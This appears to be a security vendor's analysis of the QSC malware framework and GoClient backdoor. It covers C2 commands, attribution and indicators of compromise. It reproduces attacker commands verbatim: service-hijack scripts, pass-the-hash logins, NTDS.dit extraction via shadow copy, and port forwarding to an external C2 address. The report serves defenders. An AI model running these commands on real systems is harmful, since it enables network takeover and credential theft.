In 2021, we began to investigate an attack on the telecom industry in South Asia. During the investigation, we discovered QSC: a multi-plugin malware framework that loads and runs plugins (modules) in memory. The framework includes a Loader, a Core module, a Network module, a Command Shell module and a File Manager module. It is dropped either as a standalone executable or as a payload file along with a loader DLL. In this post, we describe each component of the framework as well as its recent activity including a deployment scenario, an additional backdoor, post-compromise activity and a link to the CloudComputating group.
The Loader implant is a service DLL with the internal name loader.dll. It contains the string “E:\project\test\qt\bin\module\loader\x64\release\loader.pdb” as its PDB path. The Loader is configured to either read code from <systemdir>\drivers\msnet or read 0x100 (256) bytes from n_600s.sys, located in the same directory as the module, to get the file path containing code. If it reads the file path from n_600s.sys, it deletes the file afterwards. The Loader then reads and decompresses code from the provided file path. It reflectively injects the decompressed code into memory and calls the exported method plugin_working. The code injected by the Loader is the Core module, which is described below.
The Core module has an internal name, qscmdll.dll, and exports only one method, named plugin_working. It contains the string “E:\project\test\qt\bin\module\qscmdll\x64\release\qscmdll.pdb” as its PDB path. The Loader module passes the file path that contains the compressed Network module code as one of the parameters to the Core module.
The Core module reads the Network module (from the passed file path), decompresses it and injects it into memory. The Network module is a 64-bit DLL with the internal name qscnetwork.dll. It contains the string “E:\project\test\qt\bin\module\qscnetwork\x64\release\qscnetwork.pdb” as its PDB path. The Network module exports the methods setConfig, checkTarget and getNetWork.
The Core module, after injecting the Network module into memory, initializes it by calling its exported methods in sequence:
In some of the cases, we found that the C2 in the configuration data contained an internal/proxy IP address, which suggested that the attackers were already aware of the target network topology. The configuration file contained the following settings:
The Core module supports the following C2 commands:
Command | Description |
0x1E0001 | Send target information (e.g. computer name, user name, OS version, etc.) |
0x1E0002 | XOR decode, decompress and load the Command Shell module bytes into memory. If the File Manager module is not loaded, then load it before loading the Command Shell module. |
0x1E0003 | XOR decode, decompress and load the File Manager module bytes into memory. |
0x1E0004 | Heartbeat signal, sent every 2 minutes |
0x1E0007 | Update the code file path. Create n_600s.sys, and write 0x100 (256) bytes received from C2 to this file. |
The File Manager module has the internal name qscBrowse.dll. It contains the string “E:\project\test\qt\bin\module\qscBrowse\x64\release\qscBrowse.pdb” as its PDB path, and exports the following methods.
The Core module, after reflectively injecting the File Manager module, calls its startBrowse method. The startTransmit exported method of the File Manager module contains functionality to read/write files from/to the system. It is called when the module executes certain commands. The File Manager module supports following C2 commands:
Command | Description |
0x0A20010 | If the sub-command is <root>, then get the logical drive letters and types in the system. Otherwise, send a list of files and folders at a specified path. |
0x0A20011 | This is similar to the previous command, but it gets a list of files and folders at a specified path with the following properties:
|
0x0A20012 | Read the file and send it to the C2. This is done by calling the startTransmit method. |
0x0A20013 | Create a file in the system and write data from the C2 to the file. This is done by calling the startTransmit method. |
0x0A20014 | Delete a file from the system. |
0x0A20015 | Move a file from an existing location to a new one. |
The Command Shell module has the internal name qscShell.dll. It contains the string “E:\project\test\qt\bin\module\qscShell\x64\release\qscShell.pdb” as its PDB path, and exports the methods below.
The Core module, after reflectively injecting the Command Shell module, calls its startShell method. The Command Shell module launches %windir%\system32\cmd.exe as a shell using the CreateProcess API, and data is written to and read from the shell using pipes. If the size of the received data exceeds 0xB (11) bytes, it checks if the received data starts with one of the command strings below. If the data does not start with one of these command strings, it is written to the command shell via a pipe.
If there is no more data to receive, the command shell is closed by issuing an exit command.
Command | Description |
.put | Create a file and write content to it. This is done by calling the startTransmit method of the File Manager module. |
.get | Read a file from the system. This is done by calling the startTransmit method of the File Manager module. |
.ctm <source_file> <dest_file> | Change a timestamp. Set LastWriteTime, LastAccessTime and CreationTime of dest_file to those of source_file. |
When we first discovered the QSC framework in 2021, we had insufficient telemetry to find out how the framework was deployed or who the threat actor behind it was. We continued to monitor our telemetry for further signs of the QSC framework. In October 2023, we detected multiple instances of QSC files targeting an ISP in West Asia. Our investigation found that the target machines had been infected with the Quarian backdoor version 3 (aka Turian) since 2022, and the same attackers had used this access to deploy the QSC framework starting on October 10, 2023.
In addition to the QSC framework, the attackers also deployed a new backdoor written in Golang, which we have named “GoClient”. We saw the first deployment of this GoClient backdoor on October 17, 2023. After analyzing all the artifacts from this campaign, we assess, with medium confidence, that the CloudComputating threat actor is behind the deployment of the QSC framework and the GoClient backdoor.
In October 2023, our telemetry showed that the Quarian backdoor was used to copy c:\windows\system32\cmd.exe to c:\windows\task.exe and launch the command shell. The batch script is executed via the command shell.
net stop swprv reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\swprv\Parameters /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\swprr.dll /f sc config swprv start= auto ping -n 120 127.0.0.1 net start swprv |
As can be seen above, a service is created to launch the QSC framework loader DLL swprr.dll.
In the same month, our telemetry indicated that yet another batch script had been executed via the Quarian backdoor, with similar commands:
net stop rasauto reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rasauto\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\rasautosvc.dll /f" sc config rasauto start= auto ping -n 120 127.0.0.1 net start rasauto |
Just like the previous set of commands, the goal is to create a service to launch the QSC framework loader DLL rasautosvc.dll.
About a month later, the attacker launched a command shell ( cmd.exe) using the QSC framework loader DLL file C:\Windows\System32\rasautosvc.dll, and dropped the following multiple QSC framework binaries in the specified order:
Over the course of the next few months, more QSC framework binaries were dropped on the system via the same mechanism.
Also in October 2023, we found that the threat actor dropped and executed the GoClient backdoor file onto the affected system as c:\programdata\usoshared\intop64.exe, again using the Quarian backdoor infection.
The GoClient backdoor file communicates with the C2, hardcoded in the malware, via TLS. In order to initiate the communication, the malware prepares the challenge key by base64-encoding the hardcoded value of “177a7b1cf2441c7ebf626ebc7e807017” and sending it to the C2 server. If the challenge key is accepted, the C2 server sends a 16-byte value, which will be used as an RC4 key to encrypt/decrypt all subsequent messages between the malware and the server.
Next, the malware collects a list of system information (e.g. hostname, local IP, number of CPUs, etc.) from the victim’s machine in JSON format, encrypts it with an RC4 key, encodes it in base64 and sends it to the server.
The backdoor then receives a base64-encoded and RC4-encrypted, space-delimited list of command strings from the C2 server to execute on the victim’s machine.
The main C2 commands available are listed below:
Command | Description |
89562 | File manipulation. After checking available disk space on all drives and sending the information back to the C2, the backdoor can receive follow-up commands which can be:
|
98423 | Command execution. The backdoor requests additional commands from the C2. The follow-up commands below can be received:
|
dc191340 | Close the connection, delete its own module file and terminate its own process. |
26c108d6 | Create a screenshot of the machine and save on a file named cap.png. |
As mentioned above, the GoClient backdoor can be used to execute commands on a target system. This functionality was frequently used by the attackers. For example, they dropped the legitimate rar.exe file in c:\inetpub\temp\ and uploaded a batch script, 1.bat, to the same location. Next, according to our telemetry, they executed 1.bat. The batch script contains the following commands:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
ping www.google.com -n 2 File Create("c:\inetpub\temp\a.dat"); systeminfo ipconfig /all netstat -ano -p tcp tasklist /svc net start net view arp -a net localgroup administrators reg query hkey_users netsh firewall show config net group /domain net group "domain controllers" /domain reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BITS reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BITS\parameters reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\appmgmt reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\appmgmt\parameters reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rasauto reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rasauto\parameters reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv\parameters reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\swprv reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\swprv\parameters reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 0x1 /f c:\inetpub\temp\rar.exe a c:\inetpub\temp\s.rar c:\inetpub\temp\*.dat |
As can be seen from the list of executed commands, the attackers are primarily interested in collecting system information. Only at the end do they disable UAC remote restrictions and compress the harvested data with the previously uploaded rar.exe utility.
The QSC framework was also leveraged to execute a series of commands to find the domain controller on the network, the file server and other machines as shown below. The domain controller was queried to view the list of users within the groups “domain controllers” and “domain computers”:
net group /domain net group "domain controllers" /domain ping dc01 -n 1" ping dc02 -n 1" net group "domain computers" /domain ping 172.19.19.1 -n 1 ping 172.19.19.2 -n 1 tracert 172.19.19.2 netstat -ano ping -a 172.17.104.102 -n 1 netstat -ano findstr 172.19 ping -n -a fileserver ping -n 1 -a fileserver |
The attackers then dropped a tool to c:\Windows\L2Schemas\we.exe. We could not obtain a copy of we.exe, but it was used to log in to the domain controller machine using the “pass the hash” technique and execute commands remotely:
we.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c <user_name>@<domain_controller_ip> "whoami" we.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c <domain>/<user_name>@<domain_controller_ip> -dc-ip <domain_controller_ip> "whoami" wm.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c <domain>/<user_name>@<domain_controller_ip> "whoami" -with-output |
Next, the actor tried to list the users under the group “domain admins”:
net group "domain admins" /domain |
One of the domain admin accounts was used by the attacker to remotely execute various commands on the domain controller and other machines using WMIC. Commands were executed to obtain the network configuration, and a shadow copy of the C: drive and the NTDS database. All information thus collected was then stored at user\downloads\1.txt on the domain controller:
wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c ipconfig >>$user\downloads\1.txt" wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call create "vssadmin create shadow /for=C: >> $user\downloads\1.txt" wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call create "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\NTDS.dit $user\downloads" wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call create "vssadmin delete shadows /for=c: /quiet" |
By using WMIC and the stolen domain admin credentials, the attackers were able to execute the QSC framework on other machines within the affected network. We found multiple instances during our investigation where the attackers used WMIC to remotely run either a QSC framework loader DLL or a QSC framework executable on a target machine.
We found that the QSC framework sample update.exe (MD5 d99d97bb78929023d77d080da1b10f42) was configured to use a local IP address (pivot machine address 172.17.99[.]5:8080) as a C2 address. Similarly, the sample update.exe (MD5 7f89a83cda93ed3ddaa4315ea4ebba45) was configured to use an internal IP address (pivot machine address 172.17.99[.]5:80) but run on port 80. This might suggest either that these samples were deployed on machines without internet access or that the threat actor decided to channel all C2 communication through selected machines for other reasons.
Just after executing each instance of the above QSC framework samples on the remote machine, the attacker executed %windir%\l2schemas\pf.exe on the pivot machine. While we could not obtain a copy of pf.exe, it seemed to perform port forwarding operations to forward any traffic coming to the pivot machine’s local IP address on port 8080/80 to the remote C2 server address 108.61.206[.]206 on port 8080.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 |
wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c %temp%\update.exe" %windir%\l2schemas\pf.exe tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080 tasklist findstr pf.exe wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c taskkill /im net.exe /f" net view \\<internal_ip> wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c tasklist >> D:\fileserver\public\applications\drivers\apple\1.txt" wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c taskkill /im update.exe /f >> D:\fileserver\public\applications\drivers\apple\1.txt" taskkill /im pf.exe /f netsh firewall show state netsh firewall show config netsh firewall delete portopening tcp 8080 wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c %temp%\update.exe" %windir%\l2schemas\pf.exe tcp listen:127.0.0.1:80 conn:108.61.206[.]206:8080" tasklist findstr pf.exe wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c taskkill /im update.exe /f >> D:\fileserver\public\applications\drivers\apple\1.txt" netstat -anb netstat -anb -p tcp netsh firewall show state netstat -anb -p tcp findstr 15001 netstat -anb -p tcp findstr 8080 wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c %temp%\update.exe" %windir%\l2schemas\pf.exe tcp listen:127.0.0.1:8080 conn:108.61.206.206:8080 wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c netstat -ano -p tcp >>D:\fileserver\public\applications\drivers\apple\1.txt" ping -n 1 108.61.206[.]206 wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c ping -n 1 40.113.110[.]67 >>D:\fileserver\public\applications\drivers\apple\1.txt" wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c tasklist >>D:\fileserver\public\applications\drivers\apple\1.txt" ping -n 1 40.113.110[.]67 taskkill /im pf.exe /f wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c ping -n 1 <internal_ip_2> >>D:\fileserver\public\applications\drivers\apple\1.txt" %windir%\l2schemas\pf.exe tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080 net use \\<internal_ip_2> <user_password> /u:<user_name> tasklist findstr update.exe net use * /d /y wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "%windir%\l2schemas\update.exe" wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c tasklist >>D:\fileserver\public\applications\drivers\apple\1.txt" "wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call create "system32\cmd.exe /c netstat -ano -p tcp >>D:\fileserver\public\applications\drivers\apple\1.txt" %windir%\l2schemas\pf.exe tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080 |
We found multiple artifacts that helped us in attributing the QSC framework and the activity described above to the CloudComputating (aka BackdoorDiplomacy, Faking Dragon) group:
MD5 | FilePath | Comment |
7a5a354b4ee40d694d7935f5 061fbd06 |
C:\ProgramData\USOShared \msvcen.exe |
QSC framework |
5eba7f8a9323c2d9ceac9a0f 91fad02f |
C:\ProgramData\USOShared \intop64.exe |
GoClient backdoor |
0fe65bbf23b0c589ad462e84 7e9bfcaf |
C:\ProgramData\USOShared \ts6.exe |
TailorScan. Executed by Quarian backdoor |
50be5e66a94a25e61d61028d b6a41007 |
C:\ProgramData\USOShared \agt.exe |
StowProxy. Executed by Quarian backdoor |
6a09bc6c19c4236c0bd8a019 53371a29 |
C:\ProgramData\USOShared \pdp.exe |
ProcDump. Executed by Quarian backdoor |
efbdfeea6ececf08f24121d5 d444b751 |
C:\ProgramData\USOShared \to0.exe |
Executed by Quarian backdoor. Could not get copy of the sample |
567b921d9757928a4bd137a0 8cfff06b |
C:\ProgramData\USOShared \fn.exe |
Executed by Quarian backdoor. Could not get copy of the sample |
Our investigation has revealed a significant shift in the tactics of the CloudComputating group, marked by their adoption of the QSC framework alongside the previously identified Quarian backdoor and its variants. Our telemetry data indicates that the group has initiated limited yet targeted campaigns using QSC framework and focusing specifically on the telecommunication sector. Additionally, in response to detection of the Quarian backdoor, the group has begun deploying a protected version. The usage of the QSC framework suggests a strategic change in their toolkit, serving as a secondary means to maintain access within compromised networks. This evolution underscores the group’s adaptability and emphasizes the importance of continuous monitoring of its future activities.
QSC is a modular framework, of which only the initial loader remains on disk while the core and network modules are always in memory. Using a plugin-based architecture gives attackers the ability to control which plugin (module) to load in memory on demand depending on the target of interest.
QSC framework Loader
d88ef85941ec6be99fd1e38ad5702bae
6da5b3bc89a6d83bc80b462c29f1715b
de4e76c9c5916570e75411aab7141f73
QSC framework executable
c687b0b8a8cc86638b53ca6d66ede382
d3749cef1a91a0a80a013d5a8b2c28d1
d99d97bb78929023d77d080da1b10f42
4dde0699dd21b16afa38be92efcfec61
112820e9a87239c2e11ead80759bef85
7a5a354b4ee40d694d7935f5061fbd06
0f0b8d2f648a4609cf2f6decd3407c8c
3dbc5b5e5f6713b9a6b838da25075187
GoClient backdoor
5eba7f8a9323c2d9ceac9a0f91fad02f
9da4b88a6b80db85c102ce8c841f0a5c
b581c0835934460719181afd9abf5a4e
Quarian backdoor version 3 (aka Turian)
97b0a8e8d125e71d3d1dd8e241d70c5b
a83a869df90acb5344a6e9b11e5f6e74
Batch scripts to deploy QSC framework DLL
76caef183ad0c869f3cb8b474f6a0fd7
3d62eee8d7fe5d6c86946a4e14db784f
Batch scripts dropped by GoClient backdoor to collect victim information
23351bc0b2be2ffb946de2bf7770df2e
23313406b64e1d0e8ec4a3c173ceda21
Tools used in post-compromise activity
b09cf30e7f0e326c9127047bdf518d05
eaff84466e086e9ca204e0548af3fbeb
ee4cb0891056c89b61b3ff3c8040a994
efbdfeea6ececf08f24121d5d444b751
567b921d9757928a4bd137a08cfff06b
File paths
C:\Windows\L2Schemas\update.exe
C:\Windows\L2Schemas\update64.exe
C:\ProgramData\USOShared\msvcen.exe
c:\ProgramData\package cache\{d401961d-3a20-3ac7-943b-6139d5bd490a\dwn.exe
C:\Windows\System32\audio.dll
C:\Windows\System32\rasautosvc.dll
C:\Windows\L2Schemas\audio.dll
C:\programdata\usoshared\intop64.exe
C:\ProgramData\usoprivate\updatestore\intop64.exe
C:\ProgramData\package cache\{010792ba-551a-3ac0-a7ef-0fab4156c382}v12.0.40664\csrs.exe
C:\Windows\SysWOW64\appmgmt.dll
C:\Windows\L2Schemas\w3wpt.exe
C:\Windows\L2Schemas\we.exe
C:\Windows\L2Schemas\pf.exe
C:\Windows\L2Schemas\pt.exe
C:\Windows\L2Schemas\onlytcp.exe
C:\ProgramData\USOShared\to0.exe
C:\ProgramData\USOShared\fn.exe
C:\Windows\SysWOW64\drivers\c.bat
C:\Windows\SysWOW64\drivers\c.bat
C:\Windows\Temp\c.bat
c:\inetpub\temp\1.bat
C:\Windows\L2Schemas\E.bat
PDB paths
C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\qscexec\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\pig\Documents\qs-domainless\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\loader\x64\release\loader.pdb
Domains and IPs
www.numupdate[.]com
www.pubsectors[.]com
www.delhiopera[.]com
asistechs[.]com
sanchaar[.]net
108.61.206[.]206
www.birdsvpn[.]com
newsinlevel[.]cc